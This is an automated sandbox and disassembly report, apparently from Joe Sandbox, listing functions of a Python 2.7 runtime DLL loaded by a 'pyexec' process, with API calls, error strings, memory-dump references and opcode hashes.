                                                                                                                                                                    Function 6708DF70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708DF90
                                                                                                                                                                    Strings
                                                                                                                                                                    • object of type '%.200s' has no len(), xrefs: 6708DFBE
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708DF8A
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String
                                                                                                                                                                    • String ID: null argument to internal routine$object of type '%.200s' has no len()
                                                                                                                                                                    • API String ID: 1450464846-3626758343
                                                                                                                                                                    • Opcode ID: 09381a99a7ddc17d3187a58c8e14139fd1919f81de0a2e677de2d873403ec0c3
                                                                                                                                                                    • Instruction ID: ab550bffc7a4513e8448af0b7d949a206b1c800498b90a12ba1b7758186627eb
                                                                                                                                                                    • Opcode Fuzzy Hash: 09381a99a7ddc17d3187a58c8e14139fd1919f81de0a2e677de2d873403ec0c3
                                                                                                                                                                    • Instruction Fuzzy Hash: 7CF0BB70A001015BDA00CE74EC85D2673E99B8D3343348757F82C8B386EB35E842EA65
                                                                                                                                                                    Function 6708EE70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,null argument to internal routine,?,6708B11B,?), ref: 6708EE90
                                                                                                                                                                    Strings
                                                                                                                                                                    • object of type '%.200s' has no len(), xrefs: 6708EEBE
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708EE8A
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String
                                                                                                                                                                    • String ID: null argument to internal routine$object of type '%.200s' has no len()
                                                                                                                                                                    • API String ID: 1450464846-3626758343
                                                                                                                                                                    • Opcode ID: 12d719055f47eb346fef4abfa74cefac3659941c12e1ed908b5d751678caa6b5
                                                                                                                                                                    • Instruction ID: 344a557a702cd836c6721babee47ada81f4e13ca50260faa224fc0ece823a8c9
                                                                                                                                                                    • Opcode Fuzzy Hash: 12d719055f47eb346fef4abfa74cefac3659941c12e1ed908b5d751678caa6b5
                                                                                                                                                                    • Instruction Fuzzy Hash: 23F0BB70A001055BDA00CE74D885D2633E99B893383248B56F82C8B3C1EB35EC42DA65
                                                                                                                                                                    Function 6708D530 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708D550
                                                                                                                                                                    Strings
                                                                                                                                                                    • bad operand type for unary ~: '%.200s', xrefs: 6708D57E
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708D54A
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String
                                                                                                                                                                    • String ID: bad operand type for unary ~: '%.200s'$null argument to internal routine
                                                                                                                                                                    • API String ID: 1450464846-122179322
                                                                                                                                                                    • Opcode ID: 65cb2ec5a322a8a74e58b5be574b59d29222357fcbf8471d376383b4a6309ee1
                                                                                                                                                                    • Instruction ID: a91c9aa1ff943f3b2adc3624e5432c57a1eb53e12026e144df447b6105030b08
                                                                                                                                                                    • Opcode Fuzzy Hash: 65cb2ec5a322a8a74e58b5be574b59d29222357fcbf8471d376383b4a6309ee1
                                                                                                                                                                    • Instruction Fuzzy Hash: 26F054B5B101015BDB04DF74E895E2633E9EB9C718334876BE91C8B201EA36E942DAA5
                                                                                                                                                                    Function 6708D590 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708D5B0
                                                                                                                                                                    Strings
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708D5AA
                                                                                                                                                                    • bad operand type for abs(): '%.200s', xrefs: 6708D5DE
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String
                                                                                                                                                                    • String ID: bad operand type for abs(): '%.200s'$null argument to internal routine
                                                                                                                                                                    • API String ID: 1450464846-3968165083
                                                                                                                                                                    • Opcode ID: de46eef90c1c33716f5599ba804d91ec7a314fab22dea2399a356f56075f9a32
                                                                                                                                                                    • Instruction ID: 212e3030676c1156fcc458223ad77e92c8df4aa6d9b7238dfb0554ebcaf50543
                                                                                                                                                                    • Opcode Fuzzy Hash: de46eef90c1c33716f5599ba804d91ec7a314fab22dea2399a356f56075f9a32
                                                                                                                                                                    • Instruction Fuzzy Hash: 2EF0B4B47101015BDB00DF70E885D2233E9EB9D228324876BE80CCB201EA36E942DA65
                                                                                                                                                                    Function 670CBD00 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,?), ref: 670CBD21
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,?), ref: 670CBD33
                                                                                                                                                                    • _PyErr_BadInternalCall.PYTHON27(..\Objects\setobject.c,000008F0), ref: 670CBD49
                                                                                                                                                                      • Part of subcall function 67120890: PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,?,670CBD4E,?,670CBD4E,..\Objects\setobject.c,000008F0), ref: 671208AA
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_SubtypeType_$CallFormatInternal
                                                                                                                                                                    • String ID: ..\Objects\setobject.c
                                                                                                                                                                    • API String ID: 3748510839-1817486985
                                                                                                                                                                    • Opcode ID: 6d62cb2a8098f06ac9d8301de12aab28275f61822f7f06fbbed9e67e88da0346
                                                                                                                                                                    • Instruction ID: ed3cb9ef8de0170777e155aee51629282823b7a0cdfc8f5405dc9c843f1656a9
                                                                                                                                                                    • Opcode Fuzzy Hash: 6d62cb2a8098f06ac9d8301de12aab28275f61822f7f06fbbed9e67e88da0346
                                                                                                                                                                    • Instruction Fuzzy Hash: 28F0A0FAA80229664510515DBD41B9FB3988D6C1BBB004221EB6CA6261F722A89948F3
                                                                                                                                                                    Function 67018DE0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(00000000,'%c' format requires 0 <= number <= %zu), ref: 67018E0D
                                                                                                                                                                    • PyErr_Format.PYTHON27(00000000,'%c' format requires %zd <= number <= %zd), ref: 67018E2F
                                                                                                                                                                    Strings
                                                                                                                                                                    • '%c' format requires %zd <= number <= %zd, xrefs: 67018E29
                                                                                                                                                                    • '%c' format requires 0 <= number <= %zu, xrefs: 67018E07
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: '%c' format requires %zd <= number <= %zd$'%c' format requires 0 <= number <= %zu
                                                                                                                                                                    • API String ID: 376477240-2382652346
                                                                                                                                                                    • Opcode ID: 6b1ccbee32d06fad193eda4a3f0682308f11ced5643244330e051ba5823a1e5b
                                                                                                                                                                    • Instruction ID: 581a00b62d2b2a089f64a15ede16ecc4e5f6391dc548c0fc472ec150d145cfb1
                                                                                                                                                                    • Opcode Fuzzy Hash: 6b1ccbee32d06fad193eda4a3f0682308f11ced5643244330e051ba5823a1e5b
                                                                                                                                                                    • Instruction Fuzzy Hash: BEF0E2B18200042BE6088678DC66B3A37DC8B49334F048759F938C52C1DA2D8581C6A4
                                                                                                                                                                    Function 67019F40 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyFloat_AsDouble.PYTHON27(?), ref: 67019F4A
                                                                                                                                                                      • Part of subcall function 670B0B70: PyType_IsSubtype.PYTHON27(04C48318,?,?,00000000,?,670A0CAA,?,?,?,?), ref: 670B0B90
                                                                                                                                                                    • PyErr_SetString.PYTHON27(00000000,required argument is not a float), ref: 67019F7B
                                                                                                                                                                    • _PyFloat_Pack8.PYTHON27(?,00000001), ref: 67019F96
                                                                                                                                                                    Strings
                                                                                                                                                                    • required argument is not a float, xrefs: 67019F75
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Float_$DoubleErr_Pack8StringSubtypeType_
                                                                                                                                                                    • String ID: required argument is not a float
                                                                                                                                                                    • API String ID: 2598805623-2628405891
                                                                                                                                                                    • Opcode ID: 4b23af27bbe9ed7ea7a9f699642c5494b626392d9d1f4fa0d0909f7581ed4a9a
                                                                                                                                                                    • Instruction ID: d739fe1ab19f5ac49efddd76242ad798a184d7af35cb491b5a593519db8062ae
                                                                                                                                                                    • Opcode Fuzzy Hash: 4b23af27bbe9ed7ea7a9f699642c5494b626392d9d1f4fa0d0909f7581ed4a9a
                                                                                                                                                                    • Instruction Fuzzy Hash: 87F0E9B192440497CA00EA64EC8AB167399D78A328F504798FA5C072C0EB36D529C7D6
                                                                                                                                                                    Function 670CBE70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,?), ref: 670CBE8B
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\setobject.c,0000090E), ref: 670CBEAC
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\setobject.c, xrefs: 670CBEA1
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670CBEA6
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_FormatSubtypeType_
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\setobject.c
                                                                                                                                                                    • API String ID: 2789853835-1012936799
                                                                                                                                                                    • Opcode ID: 1c23320a4d4fd32157cf8023b2573e140ea9e2fc7b732faf0d1d42e018a817da
                                                                                                                                                                    • Instruction ID: c54db94fbdba15c56d7eb635858838cb2d03af78dac09bbe206ff2792df5f289
                                                                                                                                                                    • Opcode Fuzzy Hash: 1c23320a4d4fd32157cf8023b2573e140ea9e2fc7b732faf0d1d42e018a817da
                                                                                                                                                                    • Instruction Fuzzy Hash: FEF055B6A1421C6BCB00966CBC03D9E339C864D139B104BA2FE3CD7280EB70E95046F6
                                                                                                                                                                    Function 67019ED0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyFloat_AsDouble.PYTHON27(?), ref: 67019EDA
                                                                                                                                                                      • Part of subcall function 670B0B70: PyType_IsSubtype.PYTHON27(04C48318,?,?,00000000,?,670A0CAA,?,?,?,?), ref: 670B0B90
                                                                                                                                                                    • PyErr_SetString.PYTHON27(00000000,required argument is not a float), ref: 67019F0B
                                                                                                                                                                    • _PyFloat_Pack4.PYTHON27(?,00000001), ref: 67019F26
                                                                                                                                                                    Strings
                                                                                                                                                                    • required argument is not a float, xrefs: 67019F05
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Float_$DoubleErr_Pack4StringSubtypeType_
                                                                                                                                                                    • String ID: required argument is not a float
                                                                                                                                                                    • API String ID: 2049945616-2628405891
                                                                                                                                                                    • Opcode ID: eff18c14c25b67cec30d37a844d769ae2edd85b196709336cd9ecbd3c2f56fb3
                                                                                                                                                                    • Instruction ID: f176dd3415a163c7e6fdee65a66b578aa9334ccbc98b0b7fcf3c34c9cdd225fb
                                                                                                                                                                    • Opcode Fuzzy Hash: eff18c14c25b67cec30d37a844d769ae2edd85b196709336cd9ecbd3c2f56fb3
                                                                                                                                                                    • Instruction Fuzzy Hash: 16F0E9B1924004D7CE00EE64EC8AB167399D74A328F504398FA5C472C0EB36D929C7D6
                                                                                                                                                                    Function 6708DD60 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: 2$g
                                                                                                                                                                    • API String ID: 0-781067733
                                                                                                                                                                    • Opcode ID: 3939014816515e83e6b4ece1bfd4e88c3cc2d5add81e28541559159863cc8cc6
                                                                                                                                                                    • Instruction ID: ec33de12505ed222a87b84b7a951d088e1fb00f1251b9d147fa8ad040e3a1d09
                                                                                                                                                                    • Opcode Fuzzy Hash: 3939014816515e83e6b4ece1bfd4e88c3cc2d5add81e28541559159863cc8cc6
                                                                                                                                                                    • Instruction Fuzzy Hash: 62F027729106191749147538AD02B5633EC9D1CB98F00472FED44A7640FB22EE1582F6
                                                                                                                                                                    Function 670CBD60 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,?), ref: 670CBD7B
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\setobject.c,000008FA), ref: 670CBD9C
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\setobject.c, xrefs: 670CBD91
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670CBD96
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_FormatSubtypeType_
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\setobject.c
                                                                                                                                                                    • API String ID: 2789853835-1012936799
                                                                                                                                                                    • Opcode ID: 7d6352ba7ef3b208a726c5d6dc88e87ba5920dc41ac2bed8d9fc15395769d758
                                                                                                                                                                    • Instruction ID: a43e4f87402c784d0e7926e025a6ecbe7d8a69a392c4cb717c9a1144e5823415
                                                                                                                                                                    • Opcode Fuzzy Hash: 7d6352ba7ef3b208a726c5d6dc88e87ba5920dc41ac2bed8d9fc15395769d758
                                                                                                                                                                    • Instruction Fuzzy Hash: 17E02BE6C64218278600A56CFC43D9B339C8B1D239B040756FC7CD7281FB65AD5055F7
                                                                                                                                                                    Function 6710E540 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • Py_FatalError.PYTHON27(PyEval_RestoreThread: NULL tstate,?,?,671267F6,00000000,00000000,00000000,?,?,6712A352,__builtin__,00000000,00000000,00000000,00000000), ref: 6710E550
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 67141440
                                                                                                                                                                      • Part of subcall function 67141420: fprintf.MSVCR90 ref: 67141446
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 6714144C
                                                                                                                                                                      • Part of subcall function 67141420: fflush.MSVCR90 ref: 67141452
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 67141499
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32 ref: 6714149C
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(67213AD4), ref: 671414A3
                                                                                                                                                                      • Part of subcall function 67141420: abort.MSVCR90 ref: 671414A5
                                                                                                                                                                    • _errno.MSVCR90 ref: 6710E569
                                                                                                                                                                    • _errno.MSVCR90 ref: 6710E585
                                                                                                                                                                    Strings
                                                                                                                                                                    • PyEval_RestoreThread: NULL tstate, xrefs: 6710E54B
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
